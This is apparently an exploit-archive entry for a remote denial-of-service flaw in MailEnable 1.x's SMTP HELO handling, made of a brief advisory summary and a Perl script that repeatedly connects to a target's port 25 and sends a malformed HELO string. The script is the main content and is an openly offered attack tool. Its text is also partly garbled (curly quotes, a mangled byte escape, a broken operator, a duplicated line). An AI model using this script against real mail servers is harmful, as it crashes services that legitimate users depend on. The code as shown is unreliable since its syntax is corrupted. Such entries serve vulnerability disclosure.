MailEnable 1.x - SMTP 'HELO' Remote Denial of Service

source: https://www.securityfocus.com/bid/18630/info

MailEnable is prone to a remote denial-of-service vulnerability.

This issue allows remote attackers to crash the application, denying further service to legitimate users.

#!/usr/bin/perl -w
#
# Mailenable SMTP DoS exploit
# 24/06/2006
#
# Filbert at divisionbyzero dot be
#

use Net::Telnet;

$string = “\0×99″;

for ($count = 1; $count < = 10; $count++)
{
$telnet = new Net::Telnet ( Timeout=>60, Errmode=>’return’,Port=>’25′);
$telnet->open($ARGV[0]);use Net::Telnet;
$telnet->print(”helo “, $string, “\n”);
}